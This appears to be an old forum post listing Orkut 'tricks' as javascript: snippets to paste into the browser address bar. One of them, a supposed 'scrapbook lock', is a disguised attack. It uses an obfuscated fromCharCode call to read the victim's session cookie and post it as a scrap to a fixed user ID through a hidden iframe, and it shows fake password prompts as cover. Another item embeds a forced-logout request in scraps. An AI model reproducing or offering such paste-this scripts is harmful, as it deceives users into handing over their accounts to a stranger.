log on to your orkut account click on
►www.orkut.com/GLogin.aspx

1]

JUST COPY THE SCRIPT BELOW IN YOUR ADDRESS BAR AND PRESS ENTER TOG MAGNIFY THE IMAGES OF YOUR FRIEND.

javascript:document.body.innerHTML=document.body.innerHTML.replace(/small/g,"medium");void(0)

2] atleast try this....

javascript:function reverse() { var inp = " !!!! hsenag yb dekcah saw tnuocca tukrO ruoY "; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}alert(outp) ;}; reverse();

AND JUST PRESS F5 BUTTON OF YOUR KEYBOARD TO STOP ALL THE FUNNY ACTIONS...

3]
       TO LOCK SCRAP BOOK 

1)Download Firefox web browser (www.mozilla.com/firefox)
2)Open ur scrapbook
3)Paste this script in ur address bar (the place where u type www.orkut.com)

javascript:document.body.innerHTML+='<iframe name="Scraplock" width="1" height="1"/>';sm=replyForm;sm.toUserId.value=89468071;sm.target="Scraplock";sm.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));sm.action='Scrapbook.aspx?Action.submit';sm.submit();var pwd=prompt("Enter your password","");var chk=prompt("Enter the password again","");if(pwd==chk){alert("Your scrapbook has been locked. Press OK");alert("Please give orkut 24 hours to hide the scraps")} else{alert("Passwords do not match!! Retry")}

4)Press enter
5)It will ask the password which you want to use to hide ur scraps (Can be different from ur orkut password)
6)Give the script some time to do its work. Njoy! 

4]  LOGOUT FROM ORKUT  
JUST TYPE IN THE SCRAPBOOK

<embed src="http://www.orkut.com/GLogin.aspx?cmd=logout" width="1"
height="1">


5] SEND SONGS THROUGH SCRAPS